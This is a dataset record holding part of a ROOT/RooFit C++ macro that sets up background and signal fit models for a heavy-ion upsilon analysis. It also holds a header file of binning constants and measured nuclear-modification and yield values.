turnOn(\"turnOn\",\"turnOn\", turnOn_minRap[whatBin],turnOn_maxRap[whatBin]);\n\t RooRealVar width(\"width\",\"width\",width_minRap[whatBin],width_maxRap[whatBin]);// MB 2.63\n\t RooRealVar decay(\"decay\",\"decay\",decay_minRap[whatBin],decay_maxRap[whatBin]);// MB: 3.39\n\t}\n if (doPt && !doRap)\n\t{\n\t RooRealVar turnOn(\"turnOn\",\"turnOn\", turnOn_minPt[whatBin],turnOn_maxPt[whatBin]);\n\t RooRealVar width(\"width\",\"width\",width_minPt[whatBin],width_maxPt[whatBin]);// MB 2.63\n\t RooRealVar decay(\"decay\",\"decay\",decay_minPt[whatBin],decay_maxPt[whatBin]);// MB: 3.39\n\t}\n \n \n width.setConstant(false);\n decay.setConstant(false);\n turnOn.setConstant(false);\n \n switch (useRef)// no reference\n {\n case 0: // forcing sigma and fsr to be left free.\n fixSigma1 = 0;\n fixFSR = 0;\n break;\n case 1:\n //using data-driven estimates\n int dataRef=1;\n cout<<\"You're using the debug mode based on data parameters. So you must not take this result as the central one.\"<<endl;\n break;\n case 2:\n \n cout << \"doCent=\"<<doCent << endl;\n //using MC-driven estimates\n int dataRef=2;\n if(doCent) //MB values, assumed to be the same with all centralities...\n \t{\n\t if(muonPtMin <4){\n\t gROOT->LoadMacro(\"dataTable_loose.h\");\n\t }else if(muonPtMin > 3.5){\n\t gROOT->LoadMacro(\"dataTable_tight.h\");\n\t }\n\t npow->setVal(npow_rapBins[8]);\n\t alpha->setVal(alpha_rapBins[8]);\n\t sigma1->setVal(sigma1_rapBins[8]);\n\t scaleWidth->setVal(scale_rapBins[8]);\n\t sigmaFraction->setVal(pdFrac_rapBins[8]);\n\t cout<< whatBin << endl;\n\t}\n if(doRap && !doPt)\n\t{\n\t if(muonPtMin <4){\n\t gROOT->LoadMacro(\"dataTable_loose.h\");\n\t }else if(muonPtMin > 3.5){\n\t gROOT->LoadMacro(\"dataTable_tight.h\");\n\t }\n\t npow->setVal(npow_rapBins[whatBin]);\n\t alpha->setVal(alpha_rapBins[whatBin]);\n\t sigma1->setVal(sigma1_rapBins[whatBin]);\n\t scaleWidth->setVal(scale_rapBins[whatBin]);\n\t sigmaFraction->setVal(pdFrac_rapBins[whatBin]);\n\t cout<< whatBin << endl;\n\t}\n if(doPt && !doRap)\n\t{\n\t // cout << \"we're here\" << endl;\n\t if(muonPtMin <4){\n\t gROOT->LoadMacro(\"dataTable_loose.h\");\n\t }else if(muonPtMin > 3.5){\n\t gROOT->LoadMacro(\"dataTable_tight.h\");\n\t }\n\t cout << \" ok ... \" <<endl;\n\t npow->setVal(npow_ptBins[whatBin]);\n\t alpha->setVal(alpha_ptBins[whatBin]);\n\t sigma1->setVal(sigma1_ptBins[whatBin]);\n\t scaleWidth->setVal(scale_ptBins[whatBin]);\n\t sigmaFraction->setVal(pdFrac_ptBins[whatBin]);\n\t}\n \n cout<<\"You're using MC parameters. So you may use this result as the central one, according to the LLR test outcome.\"<<endl;\n break;\n default: break;\n }\n\n //\n cout << \"npow tried=\" << npow->getVal(); \n if(fixFSR==3 || fixFSR==1) cout << \" constant!\" << endl; else cout << \" floating!\" << endl;\n cout << \"alpha tried=\" << alpha->getVal(); \n if(fixFSR==2 || fixFSR==1) cout << \" constant!\" << endl; else cout << \" floating!\" << endl;\n cout << \"sigma1 tried=\" << sigma1->getVal(); \n if(fixFSR==4 || fixFSR==1) cout << \" constant!\" << endl; else cout << \" floating!\" << endl;\n cout << \"scale tried=\" << scaleWidth->getVal(); \n if(fixFSR==4 || fixFSR==1) cout << \" constant!\" << endl; else cout << \" floating!\" << endl;\n cout << \"normalisation tried=\" << sigmaFraction->getVal();\n if(fixFSR==5 || fixFSR==1) cout << \" constant!\" << endl; else cout << \" floating!\" << endl;\n \n switch (fixFSR) // 0: free; 1: both fixed 2: alpha fixed 3: npow fixed\n { \n case 0:// all free\n alpha->setConstant(false);\n npow->setConstant(false);\n sigma1->setConstant(false);\n scaleWidth->setConstant(false);\n sigmaFraction->setConstant(false);\n break;\n case 1:// all fixed\n alpha->setConstant(true);\n npow ->setConstant(true);\n sigma1->setConstant(true);\n scaleWidth->setConstant(true);\n sigmaFraction->setConstant(true);\n break;\n case 2: // release alpha\n alpha->setConstant(false);\n npow ->setConstant(true);\n sigma1->setConstant(true);\n scaleWidth->setConstant(true);\n sigmaFraction->setConstant(true);\n break;\n case 3:// npow released\n alpha->setConstant(true);\n npow->setConstant(false);\n sigma1->setConstant(true);\n scaleWidth->setConstant(true);\n sigmaFraction->setConstant(true);\n break;\n case 4:// width+ sF +scale released\n alpha->setConstant(true);\n npow->setConstant(true);\n sigma1->setConstant(false);\n scaleWidth->setConstant(true);\n sigmaFraction->setConstant(true);\n break;\n case 5:// scale +sF\n alpha->setConstant(true);\n npow->setConstant(true);\n sigma1->setConstant(true);\n scaleWidth->setConstant(false);\n sigmaFraction->setConstant(true);\n break;\n case 6:// scale +sF\n alpha->setConstant(true);\n npow->setConstant(true);\n sigma1->setConstant(true);\n scaleWidth->setConstant(true);\n sigmaFraction->setConstant(false);\n break;\n default:\n cout<<\"Donno this choice! Pick somehting for FSR parameters that I know\"<<endl;\n break;\n }\n //thisPdf: form of the bkg pdf\n //pdf_combinedbkgd; // total bkg pdf. usually form*normalization (so that you can do extended ML fits)\n switch (bkgdModel) \n {\n case 1 : //(erf*exp ) to fit the SS, then fix the shape and fit OS, in case of constrain option\n bkg_a3->setConstant(true);\n RooGenericPdf *ErrPdf = new RooGenericPdf(\"ErrPdf\",\"ErrPdf\",\n\t\t\t\t\t\t \"exp(-@0/decay)*(TMath::Erf((@0-turnOn)/width)+1)\",\n\t\t\t\t\t RooArgList(*mass,turnOn,width,decay));\n RooFitResult* fit_1st = ErrPdf->fitTo(*likesignData,Save(),NumCPU(4)) ; // likesign data\n if (doTrkRot) fit_1st = thisPdf->fitTo(*TrkRotData,Save(),NumCPU(4)) ;\n \n if (doConstrainFit) \n\t{ // allow parameters to vary within cenral value from above fit + their sigma\n\t turnOn_constr = new RooGaussian(\"turnOn_constr\",\"turnOn_constr\",\n\t\t\t\t\t turnOn,\n\t\t\t\t\t RooConst(turnOn.getVal()),\n\t\t\t\t\t RooConst(turnOn.getError()));\n\t width_constr = new RooGaussian(\"width_constr\",\"width_constr\",\n\t\t\t\t\t width,\t\t\t\t\t RooConst(width.getVal()),\n\t\t\t\t\t RooConst(width.getError()));\n\t decay_constr = new RooGaussian(\"decay_constr\",\"decay_constr\",\n\t\t\t\t\t decay,\n\t\t\t\t\t RooConst(decay.getVal()),\n\t\t\t\t\t RooConst(decay.getError()));\n\t}\n else \n\t{\n\t turnOn.setConstant(kTRUE);\n\t width.setConstant(kTRUE);\n\t decay.setConstant(kTRUE);\n\t}\n RooRealVar *fLS =new RooRealVar(\"R_{SS/OS}\",\"Empiric LS/SS ratio\",0.,1.);\n RooAbsPdf *ChebPdf = new RooChebychev(\"ChebPdf\",\"ChebPdf\",\n\t\t\t\t\t *mass, RooArgList(*bkg_a1,*bkg_a2));\n RooAbsPdf *pdf_combinedbkgd = new RooAddPdf (\"bkgPdf\",\"total combined background pdf\",\n\t\t\t\t\t\t RooArgList(*ErrPdf,*ChebPdf),\n\t\t\t\t\t\t RooArgList(*fLS));\n \n break;\n case 2 : //us eRooKeysPdf to smooth the SS, then fit OS with pol+keys\n bkg_a3->setConstant(true);\n RooRealVar *fLS =new RooRealVar(\"R_{SS/OS}\",\"Empiric LS/SS ratio\",0.,1.);\n RooKeysPdf *KeysPdf = new RooKeysPdf(\"KeysPdf\",\"KeysPdf\",*mass,*likesignData,\n\t\t\t\t\t\t RooKeysPdf::MirrorBoth, 1.4);\n RooAbsPdf *ChebPdf = new RooChebychev(\"ChebPdf\",\"ChebPdf\",\n\t\t\t\t\t *mass, RooArgList(*bkg_a1,*bkg_a2));\n if (doTrkRot) thisPdf = new RooKeysPdf(\"thisPdf\",\"thisPdf\",*mass,*TrkRotData,\n\t\t\t\t\t\t RooKeysPdf::MirrorBoth, 1.4);\n RooAbsPdf *pdf_combinedbkgd = new RooAddPdf (\"bkgPdf\",\"total combined background pdf\",\n\t\t\t\t\t\t RooArgList(*KeysPdf,*ChebPdf),\n\t\t\t\t\t\t RooArgList(*fLS));\n break;\n case 3 : //use error function to fit the OS directly\n bkg_a3->setConstant(true);\n RooAbsPdf *pdf_combinedbkgd = new RooGenericPdf(\"bkgPdf\",\"bkgPdf\",\n\t\t\t\t\t\t\t\t \"exp(-@0/decay)*(TMath::Erf((@0-turnOn)/width)+1)\",\n\t\t\t\t\t\t\t\t RooArgList(*mass,turnOn,width,decay));\n break;\n \n case 4 : //use pol 2+ErfExp to fit the OS directly\n\n RooRealVar *fPol = new RooRealVar(\"F_{pol}\",\"fraction of polynomial distribution\",0.0,1);\n RooAbsPdf *ChebPdf = new RooChebychev(\"ChebPdf\",\"ChebPdf\",\n\t\t\t\t\t *mass, RooArgList(*bkg_a1,*bkg_a2));\n RooGenericPdf *ErrPdf = new RooGenericPdf(\"ErrPdf\",\"ErrPdf\",\n\t\t\t\t\t\t \"exp(-@0/decay)*(TMath::Erf((@0-turnOn)/width)+1)\",\n\t\t\t\t\t\t RooArgList(*mass,turnOn,width,decay));\n RooAbsPdf *pdf_combinedbkgd = new RooAddPdf (\"bkgPdf\",\"total combined background pdf\",\n\t\t\t\t\t\t RooArgList(*ChebPdf,*ErrPdf),\n\t\t\t\t\t\t RooArgList(*fPol));\n\n break;\n case 5 : //use ( error function + polynomial 1) to fit the OS directly\n \n bkg_a3->setConstant(true);\n bkg_a2->setConstant(true);\n RooRealVar *fPol = new RooRealVar(\"F_{pol}\",\"fraction of polynomial distribution\",0.0,1);\n RooAbsPdf *ChebPdf = new RooChebychev(\"ChebPdf\",\"ChebPdf\",\n\t\t\t\t\t *mass, RooArgList(*bkg_a1,*bkg_a2,*bkg_a3));\n RooGenericPdf *ErrPdf = new RooGenericPdf(\"ErrPdf\",\"ErrPdf\",\n\t\t\t\t\t\t \"exp(-@0/decay)*(TMath::Erf((@0-turnOn)/width)+1)\",\n\t\t\t\t\t\t RooArgList(*mass,turnOn,width,decay));\n RooAbsPdf *pdf_combinedbkgd = new RooAddPdf (\"bkgPdf\",\"total combined background pdf\",\n\t\t\t\t\t\t RooArgList(*ChebPdf,*ErrPdf),\n\t\t\t\t\t\t RooArgList(*fPol));\n break;\n case 6: // NOT WORKING\n RooRealVar *fPol = new RooRealVar(\"F_{pol}\",\"fraction of polynomial distribution\",0.0,1);\n RooAbsPdf *ChebPdf = new RooChebychev(\"ChebPdf\",\"ChebPdf\",\n\t\t\t\t\t *mass, RooArgList(*bkg_a1,*bkg_a2));\n RooGenericPdf *ExpPdf = new RooGenericPdf(\"ExpPdf\",\"ExpPdf\",\n\t\t\t\t\t\t \"exp(-@0/decay)\",\n\t\t\t\t\t\t RooArgList(*mass,decay));\n RooAbsPdf *pdf_combinedbkgd = new RooAddPdf (\"bkgPdf\",\"total combined background pdf\",\n\t\t\t\t\t\t RooArgList(*ChebPdf,*ExpPdf),\n\t\t\t\t\t\t RooArgList(*fPol));\n break;\n default :\n cout<<\"Donno what you are talking about! Pick another fit option!\"<<endl;\n break;\n }\n \n //###### the nominal fit with default pdf \n \n // RooAbsPdf *pdf; // nominal PDF\n if(chooseSample==8)\n { \n // bkg_a1->setVal(0);// can be turned on at convenience\n // bkg_a1->setConstant();\n // bkg_a2->setVal(0);\n // bkg_a2->setConstant();\n // bkg_a3->setVal(0);\n // bkg_a3->setConstant();\n // RooAbsPdf *pdf = new RooAddPdf (\"pdf\",\"total p.d.f.\",\n // \t\t\t\t\t\t RooArgList(*sig1S,*pdf_combinedbkgd),\n // \t\t\t\t\t\t RooArgList(*nsig1f,*nbkgd));\n RooAbsPdf *pdf = new RooAddPdf (\"pdf\",\"total p.d.f.\",*sig1S,*nsig1f);\n } else if(chooseSample!=8)\n {\n // can remove the double crystal ball in pbpb: just commenting out and copying an appropriate version\n RooAbsPdf *pdf = new RooAddPdf (\"pdf\",\"total p.d.f.\",\n\t\t\t\t\t\t RooArgList(*sig1S,*sig2S,*sig3S,*pdf_combinedbkgd),\n\t\t\t\t\t\t RooArgList(*nsig1f,*nsig2f,*nsig3f,*nbkgd));\n // nsig3f->setVal(0); nsig3f->setConstant();\n \n }\n w.import(*pdf);\n w.Print();\n}\n" }, { "alpha_fraction": 0.3362267315387726, "alphanum_fraction": 0.6684374213218689, "avg_line_length": 53.226051330566406, "blob_id": "69270966d7f8953737f7742fb1e4aaab7566e2b0", "content_id": "79a6c0d4d68e85987e52c6d3a3df2b7734b925d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 78691, "license_type": "no_license", "max_line_length": 171, "num_lines": 1451, "path": "/plotting/data_raa.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "\n //integers for binning.\n //centrality binning in 11-011\n\n#define nfitvars 5\n#define nbkgdvars 2\n#define nPtBins_2013 5\n#define nPtBins_2014 6\n#define nPtBins_2010 3\n#define nRapBins_2013 5\n#define nRapBins_2010 2\n#define nRapBins_2014 6\n#define nCentBins_2014 8\n#define nCentBins_2010 2\n#define nCentBins_2S 4\n#define nRapBins_pPb 9\n#define bin1 7\n#define bin 8\n#define L_pp_invNb 5400\n#define L_pp_invNbe 199.8\n#define L_pp 5400000000000\n#define L_ppe 199800000000 \n#define N_MB_uncorr 1.126653312\t\n//#define N_MB_corr 1.138033648\n#define T_AA_b 5662\n#define T_AA_mb 5.662 \n#define RapBinWidth 4.8\n#define L_pp_e 0.027\n#define N_MB_e 0.034\nfloat N_MB_corr= N_MB_uncorr/0.97;\nfloat cent[bin1] ={22.05, 86.3, 130.0, 187.1, 261.4, 330.4, 381.3}; // with 40-50 and 50-100 //and the 5-10 bin was 329.5, which is inconsistent with a few lines below.\nfloat nPart2014[nCentBins_2014] ={8.75, 42.02, 86.23, 130.06, 187.35, 261.49, 329.48, 381.41}; //from 2012_246_v5\nfloat nPart2015[nCentBins_2014+1] ={8.75, 42.02, 86.23, 130.06, 187.35, 261.49, 329.48, 368, 393}; //from 2012_246_v5\nfloat nPart2014e[nCentBins_2014] ={1.13,3.48,4.35,4.60,4.44,3.96,3.53,2.21}; //from 2012_246_v5\n//////\nfloat taa[bin1] = {0.486,2.748,5.089,8.782,14.477,20.47,25.901}; // taa of 40-50, 50-100\nfloat taae[bin1]={0.073,0.30,0.43,0.58,0.76,0.94,1.06};\nfloat taaDD[nCentBins_2010]={2.37,18.83171875};\nfloat taa2014[nCentBins_2014] = {0.13,0.985,2.75,5.089,8.80,14.48,20.48,25.91}; //taa of 50-70, 70-100\nfloat taa2015[nCentBins_2014+1] = {0.13,0.985,2.75,5.089,8.80,14.48,20.48,24.5,27.3}; //taa of 50-70, 70-100\nfloat taa2014e[nCentBins_2014] = {0.02,0.145,0.30,0.43,0.58,0.76,0.94,1.06};\nfloat mb_percentage2014[nCentBins_2014] = {0.3,0.2,0.1,0.1,0.1,0.1,0.05,0.05};\nfloat mb_percentage2015[nCentBins_2014+1] = {0.3,0.2,0.1,0.1,0.1,0.1,0.05,0.025,0.025};\nfloat mb_percentage[bin1] = {0.5,0.1,0.1,0.1,0.1,0.05,0.05};\nfloat mb_percentageDD[nCentBins_2010]={0.8,0.2};\n//////\nfloat taa1S[nCentBins_2014]={0.13,0.985,2.75,5.089,8.80,14.48,20.48,25.91}; //taa of 70-100, 50-70, 40-50, 30-40, 20-30, 10-20, 5-10, 0-5\nfloat taa2S[nCentBins_2S]={0.486,3.918791,11.63034,23.18574}; // taa of 50-100, 30-50, 10-30, 0-10.\nfloat mb_percentage1S[nCentBins_2014] = {0.3,0.2,0.1,0.1,0.1,0.1,0.05,0.05};\nfloat mb_percentage2S[nCentBins_2S] = {0.5,0.2,0.2,0.1};\n\nint binPt = 5;\nint binPt2010 = 3;\nint binRap = 5;\nint binRap2010 = 2;\nint bin2010 = 4;\n\n // float cent1[8] ={14.2, 69.9, 130.0, 187.1, 261.4, 329.4, 381.3}; // with 40-60 and 60-100\n float nPart1[9] ={8.75,42.02, 86.3, 130.1, 187.3, 261.4, 330.3, 381.2}; // with 70-100, 50-70, 40-50, 30-40, 20-30, 10-20, 5-10, 0-5\n float nPart2[7] ={17.8, 69.9, 130.0, 187.1, 261.4, 355.4};//?? \n\nfloat cent2010[5]={308.6,64.24,261.3,355.7};//0-20,20-100,10-20,0-10\nfloat nPartDD[nCentBins_2010]={64.24,308.6};\n float pt [5] = {1.25, 3.75, 6.5, 10., 16.};\n float pte[5] = {1.25, 1.25, 1.5, 2., 4.};\nfloat pt15 [6] = {1.25, 3.75, 6.5, 10., 16.,30};\nfloat pt15e[6] = {1.25, 1.25, 1.5, 2., 4.,10};\n float pt2010 [3] = {2.7,8.7,16.2};\n float pt2010e[3] = {2.5,3.5,4};\n\n float rap2010[2]={0.63,1.83};\n float rap2010e[2]={0.6,0.6};\n float rap2010paper[2]={0.64,1.54};\n float rap2010paperel[2]={0.64,0.34};\n float rap2010papereh[2]={0.56,0.86};\n float rap[5] = {0.2 , 0.55, 0.85, 1.25, 1.95};\n float rape[5]= {0.2, 0.15, 0.15, 0.25, 0.45};\nfloat rap2014[6] = {0.2 , 0.6, 1.0, 1.4, 1.8,2.2}; // for the moment with bins of ∆y =0.8 except the last one which is 1.6-2.4\nfloat rap2014Shift[6] = {0.3 , 0.7, 1.1, 1.5, 1.9,2.3}; // for the moment with bins of ∆y =0.8 except the last one which is 1.6-2.4\nfloat rap2014e[6] = {0.2,0.2,0.2,0.2,0.2,0.2}; // for the moment with bins of ∆y =0.8 except the last one which is 1.6-2.4\n\nfloat centErr[bin1]={6,6,6,6,6,6,6};\nfloat centErr2014[nCentBins_2014]={6,6,6,6,6,6,6,6};\nfloat centnoErr[nCentBins_2014+1]={0,0,0,0,0,0,0,0,0};\n\n\n //CONTROL PLOTS\n // mass resolution on the 1S peak in function of pT/rapidity/centrality bins\n float massRes_AA_pT[5]={72.7,100.6,60.8,88.5,75.8};\n float massRes_AA_pTe[5]={6.2,7.4,8.0,9.4,7.8};\n float massRes_pp_pT[5]={89.7,86.7,91.7,95.1,84.1};\n float massRes_pp_pTe[5]={4.2,4.2,3.9,4.4,4.6};\n float massRes_AA_rap[5]={58.6,61.5,86.,100.3,136.0};\n float massRes_AA_rape[5]={5.9,5.9,9.4,8.7,14.8};\n float massRes_pp_rap[5]={62.8,76.1,68.6,104.4,148.2};\n float massRes_pp_rape[5]={2.3,3.4,4.4,3.,5.9};\n float massRes_AA_npart[7]={65.8,88.7,98.6,89.7,77.6,98.8,67.1};\n float massRes_AA_nparte[7]={14.2,11.2,10.4,8.2,7.7,10.6,10.1};\n // mean mass resolution in AA \"MB\", and in pp \"pp\"\n float massRes_MB[1]={83.7};\n float massRes_MBe[1]={4.0};\n float massRes_pp[1]={91.6};\n float massRes_ppe[1]={2.1};\n \nstring binsPt[nPtBins_2013]={\"\\pt [{\\\\rm GeV}/c] $<$ 2.5\",\n\t\t\t \"2.5 $<$ \\pt [{\\\\rm GeV}/c] $<$ 5\",\n\t\t\t \"5 $<$ \\pt [{\\\\rm GeV}/c] $<$ 8\",\n\t\t\t \"8 $<$ \\pt [{\\\\rm GeV}/c] $<$ 12\",\n\t\t\t \"12 $<$ \\pt [{\\\\rm GeV}/c] $<$ 20\"};\nstring binsPt2010[nPtBins_2010]={\"\\pt [{\\\\rm GeV}/c] $<$ 5\",\n\t\t\t\t \"5 $<$ \\pt [{\\\\rm GeV}/c] $<$ 12\",\n\t\t\t\t \"12 $<$ \\pt [{\\\\rm GeV}/c] $<$ 20\"};\n \nstring binsRap[nRapBins_2014]={\"$|y| <$ 0.4\",\n\t\t\t \"0.4 $< |y| <$ 0.8 \",\n\t\t\t \"0.8 $< |y| <$ 1.2 \",\n\t\t\t \"1.2 $< |y| <$ 1.6 \",\n\t\t\t \"1.6 $< |y| <$ 2 \",\n\t\t\t \"2 $< |y| <$ 2.4 \"};\nstring binsRap2010[nRapBins_2010]={\"$|y| <$ 1.2 \",\n\t\t\t\t \"1.2 $< |y| <$ 2.4 \"};\nstring binsCent[nCentBins_2014+1]={\"70-100\",\"50-70\",\"40-50\",\"30-40\",\"20-30\",\"10-20\",\"5-10\",\"2.5-5\",\"0-2.5\"};\nstring binsCent4[bin1]={\"50-100\",\"40-50\",\"30-40\",\"20-30\",\"10-20\",\"5-10\",\"0-5\"};\nstring bins2Bin[2]={\"20-100\",\"0-20\"};\n\n //alice shit pT>0 GeV/c \n #define binA 2\n\n float centAlice[binA]={72,308}; //20-90, 0-20%\n float centAliceErr[binA]={6,6};\n float centAliceNoErr[binA]={0,0};\n float ratioUpsAlice[binA] ={0.512,0.351}; // 1S with 'alice' binning\n float ratioUpsAliceStat[binA]={0.036,0.026}; // stat. err.\n float ratioUpsAliceSyst[binA]={0.028,0.029}; // syst. err.\n\n float ratioUpsAlice2[binA] ={0.203,0.056}; // 2S with 'alice' binning\n float ratioUpsAliceStat2[binA]={0.055,0.036};\n float ratioUpsAliceSyst2[binA]={0.035,0.050};\n \n//raa 2011-011\nfloat RAA_1S_2011sg=0.137/1.005;\nfloat RAA_1S_2011[bin1]={1.005,0.590,0.681,0.614,0.484,0.432,0.411};\nfloat RAA_1S_2011e[bin1]={0.121,0.096,0.069,0.053,0.040,0.048,0.043};\nfloat RAA_1S_2011s[bin1]={0.176,0.080,0.093,0.084,0.066,0.059,0.056};\nfloat RAA_2S_2011sg=0.064/0.300;\nfloat RAA_2S_2011[bin1]={0.3,0.251,0.237,0.260,0.068,0.044,0.111};\nfloat RAA_2S_2011e[bin1]={0.157,0.138,0.098,0.079,0.053,0.060,0.061};\nfloat RAA_2S_2011s[bin1]={0.176,0.138,0.098,0.079,0.053,0.060,0.061};\n //Raa with regit and pp2013\n\n float ratio1S[bin] ={1.275,0.699,0.567,0.585,0.418,0.409,0.308,0.387};// with 70-100, 50-70, 40-50, 30-40, 20-30, 10-20, 5-10, 0-5\n float ratio1SstatErr[bin]={0.279,0.081,0.085,0.067,0.045,0.038,0.031,0.049};\n float ratio1SsystErr[bin]={0.186,0.154,0.084,0.037,0.057,0.041,0.050,0.035};\n // float ratio1S[bin1] ={1.061,0.587,0.585,0.418,0.409,0.308,0.387};// with 60-100, 40-60, 30-40, 20-30, 10-20, 5-10, 0-5 //\n // float ratio1SstatErr[bin1]={0.175,0.079,0.067,0.045,0.038,0.031,0.049}; //\n // float ratio1SsystErr[bin1]={0. ,0.084,0.037,0.057,0.041,0.050,0.035}; //\n float ratio2S[bin] ={0.532,0.225,0.353,0.367,0.144,0.130,0.00,0.149};\n float ratio2SstatErr[bin] ={0.333,0.134,0.161,0.109,0.066,0.059,0.00,0.073};\n float ratio2SsystErr[bin] ={ 0.0,0.135,0.252,0.043,0.070,0.042,0.038,0.032};\n // float ratio2S[bin] ={0.458,0.318,0.367,0.144,0.130,0.00,0.149};// with 60-100, 40-60, 30-40, 20-30, 10-20, 5-10, 0-5 //\n // float ratio2SstatErr[bin] ={0.280,0.119,0.109,0.066,0.059,0.00,0.073};\n // float ratio2SsystErr[bin] ={ 0.0,0.135,0.043,0.070,0.042,0.038,0.032};\n\n float ratioJpsi[bin]={0.610, 0.661, 0.506, 0.372, 0.220, 0.202};\n float ratioJpsistatErr[bin]={0.122, 0.131, 0.085, 0.058, 0.037, 0.030};\n float ratioJpsisystErr[bin]={0.097, 0.077, 0.048, 0.029, 0.016, 0.014};\n\n float tot1SErr[bin];\n float tot2SErr[bin];\n\n /**/// p_T-BINNED DATA\n \n //------[GeV/c]-----------------0/2.5-2.5/5--5/8--8/12--12/20//\t \n float raaPt1 [nPtBins_2013] = {0.267,0.403,0.385,0.440,0.444};\n float raaPt1e [nPtBins_2013] = {0.022,0.039,0.041,0.053,0.057};\n float raaPt1s [nPtBins_2013] = {0,0,0,0,0};\n //------[GeV/c]-----------------0/6.5-6.5/10-10/20//\n float raaPt2 [nPtBins_2010] = {0.109,0.101,0.143};\n float raaPt2e [nPtBins_2010] = {0.043,0.070,0.068};\n float raaPt2s [nPtBins_2010] = {0,0,0};\n //-------[max.y]-----------------0.4----0.7---1.----1.5---2.4-//\n float raaRap1 [nRapBins_2013] = {0.362,0.384,0.417,0.497,0.414};\n float raaRap1e[nRapBins_2013] = {0.038,0.043,0.055,0.042,0.038};\n float raaRap1s[nRapBins_2013] = {0.039,0.041,0.055,0.026,0.062};\n //-------[max.y]-----------------0.4----0.7---1.----1.5---2.4-//\n float raaRap2 [nRapBins_2013] = {0.071,0.128,0.133,0.09,0.247};\n float raaRap2e[nRapBins_2013] = {0.053,0.060,0.076,0.056,0.069};\n float raaRap2s[nRapBins_2013] = {0.032,0.033,0.038,0.082,0.092};\n\n float raaPt2010[nPtBins_2010]= {0.43,0.88,1.72}; // 10-006 published this\n float raaPt2010e[nPtBins_2010]={0.1,0.37,0.74};\n float raaPt2010s[nPtBins_2010]={0.07,0.14,0.25};\n\nfloat raaRap2010 [nRapBins_2010]={0.52,0.83};\nfloat raaRap2010e[nRapBins_2010]={0.12,0.24};\nfloat raaRap2010s[nRapBins_2010]={0.08,0.13};\n\n //1S data: pp, then PbPb.\n //------[GeV/c]--------------------0/2.5---2.5/5----5/8----8/12----12/20//\t \n float dndyPt1pp [nPtBins_2013] = {0.218 ,0.152 ,0.158 ,0.107 ,0.0583};\n float dndyPt1ppe[nPtBins_2013] = {0.00975,0.00683,0.00667,0.00535,0.00383};\n float dndyPt1pps[nPtBins_2013] = {0,0,0,0,0};\n //------[GeV/c]--------------------0/2.5---2.5/5----5/8----8/12----12/20//\t\n float dndyPt1 [nPtBins_2013] = {0.0583 ,0.0615 ,0.0611 ,0.0475 ,0.0259};\n float dndyPt1e [nPtBins_2013] = {0.00403,0.00541,0.00613,0.00526,0.0029};\n float dndyPt1s [nPtBins_2013] = {0,0,0,0,0};\n float dndyPt2010[nPtBins_2010] = {0.293,0.093,0.066}; //10-006 published\n float dndyPt2010e[nPtBins_2010]= {0.057,0.028,0.016};\n float dndyPt2010s[nPtBins_2010]= {0.053,0.017,0.012};\n //must make 2S,3S pp yields in both binnings.\n //dndyPt2pp_2013 refers to the *1S* binning of 2013 for *2S* data\n //dndyPt2pp_2010 refers to the *1S* binning of 2010 for *2S* data\n\n/////2S data: pp, in both binnings, then PbPb in the appropriate one.\n //------[GeV/c]------------------------0/2.5---2.5/5----5/8----8/12----12/20//\t\n float dndyPt2pp_2013 [nPtBins_2013] = {0.0762 ,0.0454 ,0.0527 ,0.041 ,0.0219};\n float dndyPt2ppe_2013[nPtBins_2013] = {0.00676,0.0044 ,0.00436,0.00366,0.00252};\n float dndyPt2pps_2013[nPtBins_2013] = {0,0,0,0,0};\n //------[GeV/c]------------------------0/6.5---6.5/10--10/20---//\t\n float dndyPt2pp_2010 [nPtBins_2010] = {0.15 ,0.054 ,0.0345 };\n float dndyPt2ppe_2010[nPtBins_2010] = {0.00924,0.00425,0.00324};\n float dndyPt2pps_2010[nPtBins_2010] = {0,0,0};\n float dndyPt2 [nPtBins_2010] = {0.0163 ,0.0055 ,0.00497};\n float dndyPt2e [nPtBins_2010] = {0.00651,0.00378,0.00231};\n float dndyPt2s [nPtBins_2010] = {0,0,0};\n\n/////3S data: pp, in 2013 *1S* binning\n //------[GeV/c]------------------------0/2.5---2.5/5----5/8----8/12----12/20//\t\n float dndyPt3pp_2013 [nPtBins_2013] = {0.033 ,0.0268 ,0.0262 ,0.0204 ,0.0142 };\n float dndyPt3ppe_2013[nPtBins_2013] = {0.00547,0.00386,0.0036 ,0.00298,0.00218};\n float dndyPt3pps_2013[nPtBins_2013] = {0,0,0,0,0};\n\n /**/// RAPIDITY-BINNED DATA\n float dndyRap1[5]={0.0545,0.04334,0.04645,0.09095,0.0769};\n float dndyRap1e[5]={0.00539,0.00439,0.00574,0.00677,0.00639};\n float dndyRap2[5]={0,0,0,0,0};\n float dndyRap2e[5]={0,0,0,0,0};\n\n \n //ALice's shit\n float rapAlice[nRapBins_2010]={2.85,3.6};\n float rapAlicee[nRapBins_2010]={0.35,0.4};\n float raaRapAlice [nRapBins_2010]={0.429,0.457};\n float raaRapAlicee[nRapBins_2010]={0.084,0.106};\n float raaRapAlicesup[nRapBins_2010]={0.052,0.100};\n float raaRapAlicesdown[nRapBins_2010]={0.068,0.128};\n float raaRapAliceglob[nRapBins_2010]={0.094,0.1};\n //\n\n float dndyNP2010[5]={0.468,0.517,0.643,0.347};\n float dndyNP2010e[5]={0.081,0.101,0.144,0.096};\n float dndyNP2010s[5]={0.094,0.101,0.118,0.069};\n \n float dndyNP1[9]={0.989,0.542,0.440,0.454,0.324,0.317,0.238,0.300};\n float dndyNP1e[9]={0.215,0.0625,0.066,0.0515,0.0346,0.0288,0.0238,0.0382};\n float dndyNP1s[9]={0,0,0,0,0,0,0,0};\n float dndyNP2[5]={0.235,0.067,0.0365,0.0183};\n float dndyNP2e[5]={0.0102,0.0147,0.0165,0.0128};\n float dndyNP2s[5]={0,0,0,0};\n \n\n float dndyRap1pp[5]={0.1533,0.115,0.113,0.186,0.189};\n float dndyRap1ppe[5]={0.0063,0.00569,0.00574,0.00767,0.00776};\n // float dndyRap1pps[5]={};\n float dndyRap2pp[5]={0.0521,0.0408,0.0406,0.0683,0.066};\n float dndyRap2ppe[5]={0.00414,0.0037,0.00394,0.00487,0.00569};\n // float dndyRap2pps[5]={};\n float dndyRap3pp[5]={0.0265,0.0178,0.0247,0.032,0.0383};\n float dndyRap3ppe[5]={0.00333,0.00297,0.00344,0.00389,0.00528};\n // float dndyRap1pps[5]={};\n float dndyRap2010[3]={0.495,0.498};\n float dndyRap2010e[3]={0.091,0.097};\n float dndyRap2010s[3]={0.091,0.092};\n\n \n // MB stuff 